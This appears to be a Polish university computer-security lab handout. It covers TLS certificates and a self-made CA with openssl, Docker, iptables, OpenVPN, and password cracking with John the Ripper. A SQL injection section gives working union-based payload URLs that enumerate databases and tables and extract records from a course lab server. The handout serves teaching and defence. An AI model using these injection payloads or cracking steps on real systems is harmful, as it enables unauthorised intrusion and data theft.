• Serwer uwierzytelniania się przed klientem.
• Klient i serwer wymieniają między sobą informacje pozwalające uzgodnić im najsilniejsze mechanizmy kryptograficzne jakie obie
  strony wspierają np. algorytm funkcji skrótu kryptograficznego, algorytm służący do szyfrowania.
• Jeżeli zachodzi taka potrzeba klient uwierzytelnia się przed serwerem.
• Klient i serwer używając mechanizmów kryptografii klucza publicznego uzgadniają między sobą tajny klucz sesji (shared secret).
• Zostaje ustanowiony bezpieczny kanał wymiany danych między obiema stronami, szyfrowany kluczem sesji.

Koncepcja SSL/TLS wykorzystuje idee kryptografi symetrycznej i niesymetrycznej. Kryptografia niesymetryczna służy do uwierzytelnienia i ustalenia w bezpieczny sposób klucza sesji. Następnie wykorzystywana jest kryptografia symetryczna (i ustalony klucz sesji), co zwiększa wydajność.

2.3.2. Przebieg sprawdzania autentyczności

To, że uda się zestawić kanał szyfrowany nie oznacza jeszcze, że wiadomo z jakim serwerem http mamy połączenie... Co się stanie, jeśli ktoś podszyje się pod serwer http (co jest popularnym sposobem wyłudzania haseł i innych poufnych informacji)? Przeglądarka, łącząc się z serwerem http, dostaje od niego certyfikat, w którym znajduje się klucz publiczny serwera. Oprócz klucza publicznego
certyfikat zawiera także inne dane:

• numer wersji standardu X.509 (jest to standard budowy certyfikatu),
• numer wystawionego certyfikatu,
• identyfikator algorytmu podpisu certyfikatu,
• nazwa funkcji skrótu kryptograficznego użyta przez wystawcę,
• nazwa wystawcy certyfikatu,
• daty ważności certyfikatu,
• nazwa podmiotu dla którego wystawiany jest certyfikat,
• parametry klucza publicznego podmiotu,
• klucz publiczny podmiotu,
• opcjonalne rozszerzenia,
• podpis certyfikatu składany na nim przez wystawcę.

Dzieki tym danym, certyfikat poświadcza związek osoby z kluczami, którymi się posługuje. Ponieważ certyfikat jest podpisany, przeglądarka może sprawdzić autentyczność podpisu. Dokonuje tego za pomocą certyfikatów zawierających klucze publiczne Centrów Certyfikacji (Certification Authorities, CAs), jednostek wystawiających certyfikaty. CAs spełniają rolę zaufanej trzeciej strony (trusted third party) i odpowiedzialne są za poświadczanie tożsamości klientów. Zanim CA podpisze certyfikat podmiotu, sprawdza jego tożsamość (np. przez sprawdzenie dowodu osobistego, czy uprawnień do posługiwania się nazwą instytucji).

Przeglądarka weryfikuje certyfikat za pomocą zbioru certyfikatów zaufanych CA. Jeśli weryfikacja podpisu nie powiedzie się, generowane jest ostrzeżenie. Ostrzeżenia są tworzone także, jeśli nie zgadzają się inne elementy certyfikatu, np: data ważności, czy nazwa domeny (gdy serwer wyśle certyfikat zawierający inna nazwę domenową, niż ta która znajduje się w URL).

2.3.3. Poziomy walidacji dla SSL

1) Certyfikaty DV (Domain Validation)

Przed wystawieniem certyfikatu dochodzi jedynie do weryfikacji dostępu do domeny, zwykle w sposób automatyczny. Nie są sprawdzane dane organizacji, która ubiega się o certyfikat.

2) Certyfikaty OV (Full Organization Validation)

CA dokonuje weryfikacji danych właściciela witryny i samego podmiotu, który ubiega się o certyfikat (tożsamości firmy). W efekcie, w certyfikacie można znaleźć nazwę i dane firmy, oraz także potwierdzenie, że dany podmiot jest właścicielem strony. Ze względu na bardziej dokładną weryfikację, cena certyfikatu OV jest zwykle wyższa niż DV.

3) Certyfikaty EV (Extended Validation)

Ten proces polega na najdokładniejszej weryfikacji i trwa najdłużej. Walidacja danych firmy odbywa się m.in. na podstawie rządowych baz. Sprawdzane jest też prawo do posługiwania się domeną.

2.3.4. Własne CA

Na potrzeby własnej instytucji można utworzyć własne CA i z jego pomocą generować certyfikaty. Może to ograniczyć koszty utrzymywania certyfikatów podpisywanych przez zaufane CA np. Verisign. Tak utworzone certyfikaty spowodują, że np. przeglądarka internetowa lub inne aplikacje będą generować ostrzeżenia związane z brakiem możliwości weryfikacji podpisu (brakiem zaufania do CA podpisującej wystawiony certyfikat). By uniknąć generowania takich ostrzeżeń, certyfikat własnego CA należy zaimportować do przeglądarki.

Jeśli chcemy mieć bezpłatny certyfikat podpisany przez rozpoznawalne, zaufane CA, można skorzystać z certyfikatów https://letsencrypt.org/. Są to certyfikaty tylko DV, wystawiane na okres 3 miesięcy.

2.3.5. PKI

Wyżej opisana koncepcja obiegu informacji związanych z wystawianiem certyfikatów dla podmiotów, wraz z istnieniem organizacji CA poświadczających związek certyfikatu z konkretną instytucją lub osobą nosi nazwę Infrastruktury Klucza Publicznego (ang. Public Key Infrastructure), w skrócie PKI.

Struktura PKI podlega standaryzacji i opiera się na dwóch elementach. Jednym jest standard X.509 opisujący strukturę certyfikatów oraz drugi określany mianem PKCS (ang. Public Key Cryptography Standards).

2.3.6. ECC vs RSA

Wszystkie przykłady w tym dokumencie zakładają wykorzystanie kryptografii RSA. Współczesne wersje OpenSSL mogą korzystać z kryptografii opartej o krzywe eliptyczne (ang. Elliptic Curve Cryptography (ECC)). Główne elementy implementacji ECC w OpenSSL to Elliptic Curve Digital Signature Algorithm (ECDSA) i Elliptic Curve Diffie-Hellman (ECDH). ECDSA służy do podpisywania i weryfikacji podpisów w oparciu o kryptografię krzywych eliptycznych, a ECDH to algorytm bezpiecznego uzgadniania kluczy, np. wspólnego klucza dla szyfrowania symetrycznego.

Dużą zaletą ECC jest znacznie mniejsza długość klucza, więc zyskuje się na wydajności. Poniższa tabela porównuje klucze o takiej samej sile kryptograficznej. Jak widać, długość klucza dla RSA szybko rośnie. Uzyskiwanie coraz większej siły kryptograficznej dla RSA może być, w sensie wydajnościowym, nieopłacalne. Należy więc oczekiwać, że kryptografia ECC będzie coraz szerzej stosowana w certyfikacji oferowanej przez organizacje CA. Certyfikaty RSA są jednak nadal powszechnie tworzone i używane.

3. Ćwiczenia

3.1. Docker

• Zainstaluj dockera, pod Debianem 10 wystarczy:

 apt-get install docker.io

docker pull debian:buster
docker run -i -t debian:buster bash -l

• Jako ćwiczenie wykonaj polecenia z treści powyższego modułu.
• Napisz

docker images

• Skasuj wszyskie obrazy.
• Utwórz w katalogu z plikiem Dokerfile podkatalog a z plikami a1 i a2 i podkatalog b z plikiem b1.
• Zmodyfikuj Dockerfile tak, aby kopia podkatalogu a była widoczna w kontenerze (polcenie ADD)
• Zmodyfikuj Dockerfile tak, aby podkatalog b był widoczny w kontenerze (nie jako kopia).

3.2. SSL

W poniższym przykładzie będziemy posługiwać się bezpośrednio programem openssl. Można używać też pod Debianem 10 /usr/lib/ssl/misc/CA.pl, jest to opakowanie do programu openssl, aby łatwiej było tworzyć m.in. własne CA, prośby o certyfikację itp. Por. /usr/lib/ssl/misc/CA.pl -help

3.2.1. Tworzenie nowego CA

openssl genrsa -out ca.key 2048

Klucz prywatny naszego CA wygenerowany w powyższy sposób nie będzie chroniony! Jak to zmienić i czy warto?

Następnie tworzymy certyfikat CA (ważność: 3650 dni, self signed (opcja -x509)):

openssl req -new -x509 -days 3650 -key ca.key -out ca.crt

Podajemy niezbędne dane:

Country Name (2 letter code) [AU]:PL
State or Province Name (full name) [Some-State]:Mazowieckie
Locality Name (eg, city) []:Warszawa
Organization Name (eg, company) [Internet Widgits Pty Ltd]:MIM UW
Organizational Unit Name (eg, section) []:BSK LAB
Common Name (eg, YOUR name) []:CA BSK LAB
Email Address []:ca@mimuw.edu.pl
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []: pomijamy
An optional company name []: pomijamy

W efekcie, w katalogu bieżącym, powstał certyfikat naszego CA (ca.crt) oraz klucz prywatny CA (ca.key)

3.2.2. Tworzenie prośby o certyfikację

Tworzymy klucz prywatny i prośbę do CA (bsk.csr) o certyfikowanie wygenerowanego klucza publicznego. Czy klucz prywatny powinien być chroniony hasłem (zaszyfrowany)?

openssl genrsa -out bsk.key 2048
openssl req -new -key bsk.key -out bsk.csr

Podajemy dane

Country Name (2 letter code) [AU]:PL
State or Province Name (full name) [Some-State]:Mazowieckie
Locality Name (eg, city) []:Warszawa
Organization Name (eg, company) [Internet Widgits Pty Ltd]:MIM UW
Organizational Unit Name (eg, section) []:BSK LAB
Common Name (eg, YOUR name) []:bsklabXX.mimuw.edu.pl 
       (zastąp XX numerem twojej stacji roboczej)
Email Address []: bsklab13@mimuw.edu.pl
 
A challenge password []: pomijamy
An optional company name []: pomijamy

Ponieważ klucza publicznego używać będziemy do zestawiania połączeń https, Common Name musi być nazwą hosta, dla którego wystawiamy certyfikat (inaczej przeglądarka internetowa będzie wyświetlać komunikat o niezgodności). Można wystawić certyfikat dla kilku nazw domenowych, trzeba wtedy umieścić alternatywne nazwy jako rozszerzenie X.509 v3 subjectAltName. Można włączyć rozszerzenia dla tworzenia csr w pliku /etc/ssl/openssl.cnf i dopisać alternatywne nazwy domenowe. A najlepiej przekopiować ten plik do katalogu domowego, zmodyfikować lokalnie i użyć opcji -config $HOME/myopenssl.cnf przy tworzeniu csr.

Oglądamy nasz csr, sprawdzamy, czy wszystko się zgadza:

openssl req -in bsk.csr -noout -text

3.2.3. Wystawianie certyfikatu (podpisywanie utworzonej prośby kluczem prywatnym CA)

openssl x509 -req -in bsk.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out bsk.crt

Oglądamy wystawiony certyfikat:

openssl x509 -in example.org.crt -noout -text

Na jak długo został wystawiony certyfikat? By zmienić okres ważności, należy zmienić liczbę dni (tak jak w przypadku tworzenia CA, patrz wyżej). Na końcu gotowy certyfikat znajduje się w pliku bsk.crt

Do podpisywania certyfikatów można też używać modułu openssl ca (zamiast openssl x509).

3.2.4. Konfiguracja obsługi protokołu https na przykładzie serwera apache

Do katalogu /etc/ssl/certs/ skopiuj podpisany certyfikat wystawiony dla hosta (bsk.crt). Do katalogu /etc/ssl/private skopiuj odpowiadający certyfikatowi klucz prywatny (bsk.key).

Należy teraz włączyć mod-ssl poleceniem:

a2enmod

po ukazaniu się listy dostępnych modułów, należy wybrać ssl.
Następnie trzeba włączyć obsługę konfiguracji ssl:

a2ensite

i wybrać default-ssl.

W pliku konfiguracyjnym /etc/apache2/sites-available/default-ssl ustawić odpowiednie nazwy zainstalowanego certyfikatu i klucza prywatnego:

SSLCertificateFile /etc/ssl/certs/bsk.crt
SSLCertificateKeyFile /etc/ssl/private/bsk.key

i zrestartować serwer http:

systemctl restart apache2

Teraz już można się cieszyć dostępem po https. Można to sprawdzić przeglądarką:

https://bsklab13.mimuw.edu.pl/

Przeglądarka wyświetli ostrzeżenie mówiące o braku zaufania do CA, które podpisało certyfikat dla hosta solab13 (czyli CA, które stworzyliśmy na początku tych ćwiczeń). Jeśli ufasz swojemu lokalnemu CA, możesz zaimportować do przeglądarki certyfikat lokalnej CA z pliku DemoCA/cacert.pem. Po zaimportowaniu certyfikatu CA, przeładuj stronę - nie powinna już generować ostrzeżeń.

Połącz się ze stroną https://localhost.
Dlaczego generowane jest ostrzeżenie?

4. Literatura

Obowiązkowa: ten dokument.
Obowiązkowa: dokument dostępny na Ważniaku (informacje tu mogą być lekko nieaktualne, ale prawdziwe co do koncepcji, niekoniecznie co do implementacji:)
http://wazniak.mimuw.edu.pl/index.php?title=Bezpiecze%C5%84stwo_system%C...

Nieobowiązkowa:
https://www.openssl.org/
https://gnutls.org/

Laboratorium 11 i 12: firewall iptables, vpn

Systemy programowych zapór sieciowych

Zapora sieciowa ma za zadanie filtrować ruch przychodzący i wychodzący z danego urządzenia sieciowego (na przykład komputera). Dzięki filtrowaniu ruchu możemy zapewniać różnego rodzaju zasady bezpieczeństwa związane z danym urządzeniem sieciowym. Obsługa sieci w Linuksie jest obecnie wbudowana w jądro. Jednym z jej elementów jest netfilter, zestaw modułów do filtrowania pakietów.

Netfilter posiada narzędzia dostępne zewnętrznie, służące do określenia reguł przesyłania pakietów (to nie tylko filtrowania, moga one
być zmienione podczas przechodzenia przez zaporę). Najpopularniejsze to iptables (poprzednio używano ipchains,
ale dokumenty opisujące je należy traktować jako ciekawostkę historyczną). Iptables oparte jest o pojęcie reguły -- przepisu mówiącego,
co należy zrobić z pakietem spełniającym określone warunki. Na przykład reguła

iptables -A FORWARD -i eth0 -p tcp --sport 80 -m string --string '|7F|ELF' -j DROP

zablokuje ładowanie z sieci programów w formacie ELF.

Podstawowa funkcjonalność zapory polega na filtrowaniu pakietów, które przepuszcza tylko te pakiety, które odpowiadają wyznaczonym przez nas zasadom bezpieczeństwa. Pakiety, które nie są przepuszczane mogą być porzucane po cichu lub też odrzucane z komunikatem do nadawcy. W zaporze sieciowej możemy filtrować zarówno ruch przychodzący, jak i wychodzący. Reguły filtrowania mogą być dosyć skomplikowane, w tym mogą uwzględniać stan protokołu, dla którego wykonywane jest filtrowanie.

Kolejną ważną funkcjonalnością zapory jest możliwość wykonywania translacji adresów. Istnieją dwa główne rodzaje translacji adresów:

• SNAT pozwala komputerom w sieci wewnętrznej na dostęp do różnego rodzaju serwerów z Internetu,
• DNAT pozwala komputerom z sieci zewnętrznej (Internetu) na dostęp do różnego rodzaju serwerów umieszczonych w sieci wewnętrznej.

Uwaga: By korzystać z translacji adresów, zwykle trzeba zezwolić na przekazywanie pakietów ip przez jądro:

echo 1 > /proc/sys/net/ipv4/ip_forward

Jeszcze inną ważną funkcjonalnością jest możliwość modyfikowania różnych fragmentów przechodzących pakietów (w istocie translacja adresów jest też przykładem tego rodzaju funkcjonalności). Dzięki temu możemy pakiety tak modyfikować, że poruszają się po sieci w bardziej regularny lub łatwiej sterowalny sposób.

Często w praktyce administracyjnej przydaje się także możliwość rejestrowania różnego rodzaju sytuacji sieciowych. Zapory pozwalają na śledzenie i rejestrowanie wielu sytuacji. Przydaje się to do optymalizowania ruchu w sieci oraz wykrywania usterek w jej konfiguracji.

Dalsze informacje do przeczytania przed zajęciami:

• http://students.mimuw.edu.pl/~zbyszek/bezp/filter-vpn/Bsi_12_lab.pdf
• przejrzyj man iptables.
• przejrzyj http://www.netfilter.org/

Ćwiczenia - zapory sieciowe

1. Ogranicz za pomocą iptables maksymalną wielkość pakietu ICMP-echo do 1kB.
2. Ogranicz do 3 na minutę liczbę pakietów ICMP-echo.
3. Ogranicz żądania http do 2kB wielkości i do 3 na minutę.
4. Każ systemowi logować pakiety http większe niż 2kB i częstsze niż 3 na minutę, ale ich nie usuwać.
5. Skonfiguruj zmienianie wartości pola TTL dla każdego pakietu na wartość 56 i sprawdź to, wykorzystując sniffer (tcpdump lub wiresharka).
6. Spraw, żeby były usuwane pakiety większe niż 3 kB, zwracając komunikat błędu ICMP-net-unreachable.
7. Pozmieniaj wartość pola MSS - sprawdzić wykorzystując sniffer.

Tworzenie sieci VPN

Wymagania dotyczące poufności, tajemnic produkcyjnych firm oraz konieczność umożliwiania pracownikom pracy zdalnej, w tym z domu, powoduje, że konieczne jest wprowadzanie metod udostępniania sieci wewnętrznej firmy przez szyfrowane kanały. Zwykle praca bezpośrednio za pomocą protokołu SSH jest niewystarczająca, dlatego sięga się po bardziej specjalizowane rozwiązania, takie jak VPN, które pozwalają na przekazywanie szyfrowanym kanałem całego ruchu sieciowego (bez konieczności ustanawiania odrębnych tuneli dla różnych aplikacji oraz bez ograniczenia się do protokołu TCP).

Wśród rozwiązań VPN dostępne są dwa podejścia:

• tunelowanie ruchu VPN w protokole SSL,
• przekazywanie ruchu VPN za pomocą protokołu IPsec.

Zasadnicza różnice między tymi dwoma podejściami:

• tunelowanie w protokole SSL jest prostsze do zapewnienia,
• tunelowanie w protokole SSL ma lepiej przetestowaną infrastrukturę (znacznie więcej użytkowników stosuje SSL),
• tunelowanie w protokole SSL pozwala na korzystanie z powszechniej znanych mechanizmów,
• tunelowanie w protokole IPsec można wykorzystywać przy uboższej infrastrukturze stosu sieciowego komputera.

Do tworzenia sieci VPN na bazie protokołu SSL służy OpenVPN.
Do tworzenia sieci VPN na bazie IPsec służy Openswan.

Dalsze informacje do przeczytania przed zajęciami:

• wstęp do VPN: http://en.wikipedia.org/wiki/Virtual_private_network
• przejrzyj http://www.openvpn.net/community-resources/
• alternatywa, czyli VPN na IPSec: przeczytaj http://www.ipsec-howto.org/x202.html
• http://students.mimuw.edu.pl/~zbyszek/bezp/filter-vpn/Bsi_11_lab.pdf Uwaga w plikach konfiguracyjnych tam umieszczonych są błędy; nie korzystaj z tych plików metodą kopiuj-wklej, pisz swoje w oparciu o ćwiczenia poniżej

Ćwiczenia VPN

Celem ćwiczeń jest budowanie poprawnej konfiguracji VPN krok po kroku.

Załóżmy, że komputer serwera VPN to vpn-server (adres ip ip-server), a klienta to vpn-client (adres ip ip-client).

Będziemy stawiać tunel VPN o adresach 10.0.0.1 (serwer) / 10.0.0.2 (klient)

1 instalacja pakietów openvpn

Na obu komputerach:

apt-get install openvpn

2 konfiguracja openvpn bez autoryzacji i szyfrowania

vpn-server# openvpn --ifconfig 10.0.0.1 10.0.0.2 --dev tun
vpn-client# openvpn --ifconfig 10.0.0.2 10.0.0.1 --dev tun --remote 192.168.1.10

Sprawdź, czy serwer nasłuchuje na porcie 1194 (:openvpn):

vpn-server# netstat -l | grep openvpn

Sprawdź, czy jest połączenie po vpn między komputerami:

vpn-client# ping 10.0.0.1
vpn-server# ping 10.0.0.2

3 konfiguracja openvpn ze wspólnym kluczem

Stwórz klucz:

vpn-server# openvpn --genkey --secret vpn-shared-key

Przegraj klucz do komputera klienta:

vpn-server# scp vpn-shared-key root@vpn-client:

Włącz vpn:

vpn-server# openvpn --ifconfig 10.0.0.1 10.0.0.2 --dev tun --secret vpn-shared-key 0
vpn-client# openvpn --ifconfig 10.0.0.2 10.0.0.1 --dev tun --remote ip-server --secret vpn-shared-key 1

Upewnij się, że tunel działa. Sprawdź, czy klient może korzystać z tunelu gdy nie ma klucza.

4 konfiguracja openvpn z certyfikatami

Do wygenerowania certyfikatów wykorzystaj skrypty z /usr/share/easy-rsa

Ustaw właściciela certyfikatu (zmienne w pliku vars) na PL/Mazowieckie/Warszawa/mimuw-bsk-lab

Następnie wygeneruj certyfikaty dla centrum autoryzacji, klienta i serwera przez:

vpn-server# . vars
vpn-server# ./clean-all
vpn-server# ./build-ca
vpn-server# ./build-dh
vpn-server# ./build-key-server vpn-server
vpn-server# ./build-key vpn-client

Przekopiuj certyfikaty ca.cert, vpn-client.crt i klucz vpn-client.key na vpn-client.

vpn-server# openvpn --dev tun --tls--server --ifconfig 10.0.0.1 10.0.0.2 --ca ca.crt --cert vpn-server.crt --key vpn-server.key --dh dh1024.pem
vpn-client# openvpn --dev tun --tls-client --ifconfig 10.0.0.2 10.0.0.1 --ca ca.crt --cert vpn-client.crt --key vpn-client.key --remote [ip-vpn-server]

Laboratorium 13... : termin dodatkowy

Laboratorium 14 - łamanie haseł

Dlaczego nie przechowujemy haseł otwartym tekstem

Aby zidentyfikować użytkownika potrzebujemy sprawdzić, czy jego hasło jest zgodne z oczekiwanym. Najprostszą metodą jest zapisanie hasła w pliku dostępnym tylko dla uprawnionych programów. Jednak wtedy nawet chwilowe uzyskanie przez atakującego dostępu do tego pliku powoduje, że może on zapisać sobie hasła do późniejszego wykorzystania. Aby obronić się przed tym niebezpieczeństwem zwykle przechowujemy nie samo hasło, a jego skrót otrzymany za pomocą kryptograficznej funkcji skrótu, czyli takiej funkcji haszującej, dla której m.in. jest trudno zgadnąć wartość wejściową znając tylko wartość wyjściową. Gdy użytkownik przedstawia swoje hasło obliczamy dla niego wartość tej samej funkcji skrótu i porównujemy wyniki aby sprawdzić, czy hasło jest poprawne.

Dlaczego czasami przechowujemy hasła otwartym tekstem

Istnieją (stosunkowo rzadkie) przypadki, kiedy nie da się zastosować opisanej wyżej metody. Na przykład mechanizm uwierzytelniania Digest w protokole HTTP wymaga znajomości całego hasła do sprawdzenia, czy przedstawione dane logowania są poprawne -- zyskiem jest brak konieczności przedstawiania przez użytkownika całego hasła.

Solenie hashy, rainbow tables

Samo zastosowanie funkcji skrótu nie wystarcza niestety do zapewnienia bezpieczeństwa: możemy raz obliczyć wartości funkcji dla haseł (np. dla rozsądnej długości) i potem wszędzie gdzie stosowana jest ta sama funkcja skrótu wystarczy znaleźć wynikach hasło odpowiadającemu danej wartości funkcji skrótu. Aby efektywnie wykorzystać tę technikę stosujemy specjalną strukturę danych -- tęczowe tablice. Aby się przed takim atakiem obronić stosujemy solenie, czyli dopisujemy do każdego hasła losową wartość (sól), którą zapisujemy otwartym tekstem razem z hasłem.­Atakujący, aby dostosować swój atak, musiałby obliczyć skróty wszystkich haseł dla wszystkich możliwych wartości soli, co czyni ten atak niepraktycznym.

Łamanie haszy

Brute-force i koledzy

Najprostszą metodą znalezienia hasła jest atak brute-force. Praktycznie wszystkie powszechnie używane funkcje skrótu można efektywnie obliczać na kartach graficznych, na przykład na karcie Nvidia GTX 1080 można obliczać około 2800 milionów skrótów SHA256 na sekundę.

Ataki słownikowe

W praktyce rzadko zdarza się, aby użytkownicy wybierali naprawdę losowe hasła, zazwyczaj są to wariacje na temat słów ze znanych użytkownikowi języków, imion, dat itp. Korzystając z tej wiedzy możemy istotnie zmniejszyć przestrzeń przeszukiwanych potencjalnych haseł, a co za tym idzie czas potrzebny do znalezienia hasła pod warunkiem, że dysponujemy

John the Ripper

Jednym z popularnych darmowych programów do łamania skrótów jest John The Ripper.

Instalacja

apt-get install -y john

Listy słów

Do złamania hasła potrzebujemy listy słów z języka używanego przez użytkowników. Jedną z takich list, udostępnioną do łatwej instalacji w Debiana, znajdziemy w pakiecie wpolish.

Dodatkowo słowa z listy mogą być modyfikowane przez reguły opisujące popularne modyfikacje, takie jak dopisanie jedynki na końcu czy zamiana pierwszej litery na wielką. Więcej o regułach można przeczytać na odpowieniej stronie wiki.

Uruchamianie

Przykładowe sposoby uruchomienia JTR są przystęnie opisane tutaj.

Ćwiczenia (niepunktowane)

Rozgrzewka

Korzystając z programu aspell wygeneruj listę wszystkich słów w języku polskim

Ćwiczenie właściwe

Użytkownik ma hasło o skrócie $6$in0qP2A9H12Z$4cgtWknDOBfJo1m.H9hrHiy7cmkFaHlX1uj.S9AKMXoqchyexcZY2B.ncbua2LdZOHBndDAtRaGog/ktYdW7j/. Wiemy, że hasło jest słowem występującym w przykładowej pracy dyplomowej z literą wstawioną w jakimś miejscu słowa. Przygotuj listę słów dla programu JTR i znajdź za jego pomocą hasło użytkownika.

Materiały

• http://www.openwall.com/presentations/Passwords12-The-Future-Of-Hashing/Passwords12-The-Future-Of-Hashing.pdf
• http://www.openwall.com/wordlists/
• https://en.m.wikipedia.org/wiki/Cryptographic_hash_function
• https://en.m.wikipedia.org/wiki/Salt_(cryptography)
• https://en.m.wikipedia.org/wiki/Password_cracking
• https://en.wikipedia.org/wiki/Digest_access_authentication
• https://en.wikipedia.org/wiki/Rainbow_table

Laboratorium 15: SQLi

SQLi

Atak SQL injection wykorzystuje możliwość modyfikacji zapytania SQL przez odpowienie spreparowanie danych wejściowych. Na atak tego typu podatne są aplikacje przyjmujące dane od użytkownika i generujące na tej podstawie zapytania SQL (np. aplikacje webowe).

Przykład

Spójrzmy na poniższy URL:
http://hackme.mimuw.edu.pl/test.php?id=100

W pierwszej fazie ataku należy wyobrazić sobie jakie zapytanie SQL może być generowane po stronie aplikacji. W tym przypadku może to być np. takie:

SELECT * from jakas_tabela where id=100

W praktyce zapytanie po stronie aplikacji może oczywiście wyglądać inaczej, np.:

SELECT * from tabela where id="100"
SELECT * from tabela where id=(100) 
SELECT * from tabela where id=("100") itp.

co dla naszego ataku może nie być bez znaczenia. Podstawiając zamiast wartości 100 dane testowe należy próbować określić z którym z zapytań mamy do czynienia.

Można testować np. tak:
http://hackme.mimuw.edu.pl/test.php?id=100"
i obserwując zachowanie aplikacji wyciągnąć wnioski.

Wydaje się, że w naszym przykładzie zapytanie faktycznie może wyglądać tak:

SELECT * from jakas_tabela where id=100

więc powinno zadziałać np.:
http://hackme.mimuw.edu.pl/test.php?id=100 order by 4
I faktycznie ww. URL powoduje zwrócenie wyniku, natomiast
http://hackme.mimuw.edu.pl/test.php?id=100 order by 5
już nie, więc możemy wyciągnąć wniosek, że tabela której dotyczy zapytanie ma 4 kolumny.

Gdyby zapytanie tworzone przez aplikację miało np. postać:

SELECT * from tabela where id="100"

to powyższe zapytania trzeba by nieco zmodyfikować.
Warto ustalić, które dane są pokazywane na stronie w wyniku wykonania powyższego zapytania, tak, aby wykorzystać to do wyświetlenia interesujących nas informacji. Ponieważ tabela ma 4 kolumny, powinno zadziałać następujące zapytanie:

http://hackme.mimuw.edu.pl/test.php?id=100 union select 1,2,3,4--+
Z wyświetlonych wyników widzimy, że aplikacja wyświetla dane z pierwszej kolumny.

Pamiętajmy o przydatnych zmiennych i funkcjach (tu na przykładzie MySQL/MariaDB):
@@hostname, @@tmpdir, @@datadir, @@version, @@basedir,
user(), database(), version(), schema(), UUID(), current_user(), system_user(), session_user().

Nazwa bazy i inne przydatne dane:
http://hackme.mimuw.edu.pl/test.php?id=-100 union select database(),2,3,4--+
http://hackme.mimuw.edu.pl/test.php?id=-100 union select version(),2,3,4--+
http://hackme.mimuw.edu.pl/test.php?id=-100 union select user(),2,3,4--+
http://hackme.mimuw.edu.pl/test.php?id=-100 union select @@tmpdir,2,3,4--+

Ustalenie typu silnika bazodanowego, a nawet jego konkretnej wersji jest bardzo istotne, poniższe zapytania wykorzystują fakt, że udało się to zrobić.

Nazwy tabel:
http://hackme.mimuw.edu.pl/test.php?id=-100 union select table_name,2,3,4 from information_schema.tables where table_schema=database()

Nazwy kolumn tabeli:
http://hackme.mimuw.edu.pl/test.php?id=-100 union select column_name,2,3,4 from information_schema.columns where table_schema=database()and table_name='stud'

I w końcu pobieramy dane z tabeli, np. imiona i nazwiska:
http://hackme.mimuw.edu.pl/test.php?id=-100 union Select concat(lname,fname),2,3,4 from stud--+

Na końcu wstrzykiwanego SQLa może być potrzebne doklejenie znacznika komentarza, w tym przypadku --, tak,
aby wykomentować pozostałą część zapytania, po -- powinna znaleźć się spacja, więc może
zadziałać -- -, --+ itp.

Blind SQLi

Poza opisaną istnieją inne techniki ataków SQLi m.in. tzw. blind SQL injection. Technika ta jest przydatna, gdy np. podczas manipulowania URLem nie zauważamy żadnych informacji od aplikacji, komunikatów o błędach itp.
Więcej na ten temat można znaleźć tu:
http://securityidiots.com/Web-Pentest/SQL-Injection/Blind-SQL-Injection....

Zadanie (3p.)

Do wykonania na zajęciach.
Przeprowadź opisany wyżej atak na aplikację utworzoną w PHP:
http://hackme.mimuw.edu.pl/test.php?id=100.
Uwaga!
Aplikacja i baza danych mogły zostać zmienione w porównaniu do wyżej opisanych.
Pobierz wszystkie dane ze wszystkich baz do których uda Ci się uzyskać dostęp na ww. atakowanej maszynie. Podaj nazwy baz, tabel i kolumn. Jak zabezpieczyć aplikację przed atakami tego typu?

Laboratorium: drzewa ataków

Zabezpieczanie systemów (nie tylko) komputerowych jest bardzo skomplikowane już choćby przez to, że dotyczy przedmiotu o bardzo wielu własnościach i cechach. W zasadzie - jeśli nie niemożliwe - to w każdym razie jest to zadanie, którego wykonanie nie jest osiągalne przy dostępnych typowo zasobach. Jednak zawsze można być bliżej lub dalej od ideału, stąd ważne są techniki, które przybliżają nas do jego osiągnięcia.

Typowo, gdy zadanie jest zbyt skomplikowane, aby je rozwiązać bezpośrednio, stosuje się jakiś rodzaj formy, która pomaga w zarządzaniu jego złożonością. Wtedy jeśli nie jest możliwe ogarnięcie całości problemu, to dysponujemy dokumentacją tego, którą część problemu mamy opanowaną i obsłużoną. W bezpieczeństwie systemów przyjętym sposobem na zarządzanie zagrożeniami są drzewa ataków (zwane też drzewami zagrożeń). Łatwo skojarzyć, że stanowią one praktyczne zastosowanie zasady "dziel i rządź" (z.t.j. "dziel i zwyciężaj").

Konstruowanie dobrych drzew ataków jest działaniem wielowątkowym i wymaga wielokrotnego przejrzenia do tej pory opracowanego drzewa. Każde jednak przejście, aby miało walor podejścia systematycznego, wymaga jasno określonego celu. Taki cel też jest potrzebny na pierwszym etapie, kiedy tworzymy pierwotną wersję systemu. Typowo pierwszym celem jest określenie najsłabszego ogniwa w naszym systemie zabezpieczeń - jeśli nasz system jest używany przez dużą liczbę osób, to prędzej czy później masa tej populacji wykryje to słabe ogniwo. Dlatego często możemy się spotkać z pewnym upraszczającym sloganem: System jest tak bezpieczny jak najsłabsze ogniwo jego zabezpieczeń. Wzmacniając najsłabsze ogniwo w najbardziej racjonalny sposób wzmacniamy bezpieczeństwo całego rozwiązania. W pierwszym podejściu będziemy zatem poszukiwali najsłabszego ogniwa.

Spróbujmy skonstruować drzewo ataku dla nieuprawnionego dostania się do samochodu. Pierwszy krok, jaki należy wykonać, to stworzyć sobie ogólny model zagrożenia. Musimy tutaj odpowiedzieć sobie na następujące pytania:

1. Jakie wartości chcemy chronić przed naszym atakiem?
2. Co tym wartościom zagraża:
   1. jakiego rodzaju niebezpieczeństwa?
   2. jakiego rodzaju atakujący?

Warto zwrócić uwagę na rozróżnienie między niebezpieczeństwami pojmowanymi tutaj jako obiektywne zagrożenia dla bezpieczeństwa wyróżnionych wartości, które są niezależne od woli i nastawienia ludzi na wyrządzenie szkody chronionym wartościom, od ataków, które zakładają ludzką wolę i pewną umyślność w niszczeniu chronionych wartości. Ta druga kategoria przy bezpośrednim rozumieniu określenia "niebezpieczeństwa" może być postrzegana jako szczególny przypadek kategorii 2.a, ale podkreślmy to jeszcze raz: dla nas 2.a oznacza brak umyślnego działania, zaś 2.b oznacza jego obecność.

Jak zatem będą te punkty wyglądały dla nieuprawnionego dostania się do samochodu?

Chronione wartości:

• zewnętrzna struktura samochodu (karoseria, szyby, opony itp.),
• wnętrze samochodu na stałe przytwierdzone do jego struktury (tapicerka, kokpit, kierownica, podłogi, radio itp.),
• przedmioty ruchome w środku samochodu (zawartość schowków, dywaniki, foteliki dla dzieci itp.),
• samochód jako funkcjonalna całość (możliwość korzystania z niego do dojazdów, możliwość ogrzania się itp).

Zagrożenia:

1. Niebezpieczeństwa
